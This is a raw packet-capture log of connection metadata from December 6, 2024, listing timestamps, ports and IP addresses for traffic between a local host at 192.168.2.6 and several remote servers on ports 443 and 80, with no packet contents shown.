Dec 6, 2024 18:45:50.222784042 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.222791910 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.222862005 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.225841999 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.225878954 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.225915909 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.225927114 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.225953102 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.225974083 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.228707075 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.228725910 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.228775978 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.228785038 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.228816032 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.228836060 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.231309891 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.231334925 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.231431007 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.231439114 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.231553078 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.234215021 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.234236002 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.234299898 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.234307051 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.234342098 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.234361887 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.237404108 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.237416029 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.237508059 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.237520933 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.237551928 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.237551928 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.237796068 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.237813950 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.237869978 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.237875938 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.237910032 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.237935066 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.238535881 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.238548994 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.238565922 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.238580942 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.238656044 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.238717079 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.238724947 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.238826990 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.239835978 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.239846945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.239883900 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.239901066 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.240679979 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.240747929 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.240778923 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.240818024 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.241839886 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.241955042 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.241980076 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.242032051 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.242084980 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.242108107 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.242147923 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.242153883 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.242197037 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.242218018 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.242820024 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.242927074 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.242947102 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.242999077 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.243851900 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.243963003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.244173050 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.244468927 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.244985104 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.245064020 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.245126009 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.245167017 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.245321989 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.245342016 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.245405912 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.245414972 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.245455027 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.246035099 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.246062040 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.246131897 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.246131897 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.247117996 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.247124910 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.247179031 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.247200966 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.247211933 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.247242928 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.247243881 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.247258902 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.247268915 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.247318029 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.247363091 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.248326063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.248337984 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.248364925 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.248389959 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.249233961 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.249279976 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.249574900 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.249651909 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.250230074 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.250251055 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.250292063 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.250297070 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.250323057 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.250338078 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.250361919 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.250492096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.250825882 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.251386881 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.251398087 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.251441002 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.251460075 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.251636982 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.251652002 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.251708984 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.251713991 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.251741886 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.251761913 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.252341032 CET	49815	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.252356052 CET	443	49815	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.252593040 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.252661943 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.252676964 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.252707958 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.253567934 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.253581047 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.253674984 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.254591942 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.254618883 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.254671097 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.255687952 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.255700111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.255834103 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.256947994 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.256994009 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.257148027 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.257186890 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.257782936 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.257920980 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.258057117 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.258099079 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.258155107 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.258172035 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.258203983 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.258208990 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.258246899 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.258580923 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.258610010 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.258651018 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.258656025 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.258675098 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.258697987 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.259028912 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.259165049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.259332895 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.260305882 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.260319948 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.260359049 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.260375977 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.261285067 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.261297941 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.261346102 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.261370897 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.262253046 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.262265921 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.262321949 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.263214111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.263226986 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.263254881 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.264281988 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.264295101 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.264328003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.264355898 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.264807940 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.264828920 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.264858961 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.264866114 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.264895916 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.264921904 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.265336990 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.265444994 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.265583992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.266450882 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.266474962 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.266509056 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.266680002 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.266756058 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.267532110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.267595053 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.267621994 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.267635107 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.268585920 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.268599033 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.268642902 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.269635916 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.269886971 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.270482063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.270628929 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.270909071 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.270920992 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.270963907 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.271887064 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.272046089 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.272394896 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.272562027 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.272923946 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.272937059 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.273014069 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.274005890 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.274267912 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.274269104 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.274586916 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.275011063 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.275116920 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.275268078 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.275753975 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.276066065 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.276283026 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.276309967 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.276324987 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.277152061 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.277215004 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.277318001 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.277371883 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.278242111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.278290987 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.278623104 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.278738976 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.279308081 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.279391050 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.279494047 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.279541016 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.280407906 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.280459881 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.280724049 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.280843973 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.281447887 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.281553030 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.281790018 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.281840086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.282560110 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.282572985 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.282861948 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.283615112 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.283663988 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.283860922 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.284008026 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.284626007 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.284684896 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.285065889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.285175085 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.285706997 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.285763025 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.286645889 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.286694050 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.286815882 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.286827087 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.286864042 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.287915945 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.287962914 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.288378954 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.288453102 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.289021969 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.289093971 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.289333105 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.289376020 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.290234089 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.290415049 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.290496111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.290548086 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.291089058 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.291819096 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.291878939 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.292187929 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.292372942 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.292747974 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.292792082 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.293270111 CET	80	49796	185.215.113.206	192.168.2.6
Dec 6, 2024 18:45:50.296175003 CET	49796	80	192.168.2.6	185.215.113.206
Dec 6, 2024 18:45:50.298320055 CET	443	49821	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.298398972 CET	443	49821	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.298527002 CET	49821	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.311017036 CET	49821	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.311038971 CET	443	49821	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.318017960 CET	49827	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.318053961 CET	443	49827	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.318207026 CET	49827	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.318797112 CET	49827	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.318809032 CET	443	49827	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.363675117 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.363702059 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.363737106 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.363753080 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.363785028 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.363801956 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.366527081 CET	443	49823	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.366583109 CET	443	49823	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.366713047 CET	49823	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.372525930 CET	443	49822	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.372581005 CET	443	49822	13.107.246.63	192.168.2.6
Dec 6, 2024 18:45:50.372698069 CET	49822	443	192.168.2.6	13.107.246.63
Dec 6, 2024 18:45:50.391357899 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.391388893 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.391450882 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.391457081 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.391505957 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.398586988 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.398608923 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.398660898 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.398667097 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.398701906 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.406287909 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.406287909 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.406317949 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.406323910 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.406356096 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.406362057 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.406409979 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.406414986 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.406436920 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.406456947 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.412798882 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.412816048 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.412862062 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.412869930 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.412898064 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.412921906 CET	49816	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.413045883 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.413068056 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.413094997 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.413099051 CET	443	49818	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.413137913 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.413152933 CET	49818	443	192.168.2.6	150.171.27.10
Dec 6, 2024 18:45:50.418591976 CET	443	49816	150.171.27.10	192.168.2.6
Dec 6, 2024 18:45:50.418612957 CET	443	49816	150.171.27.10	192.168.2.6
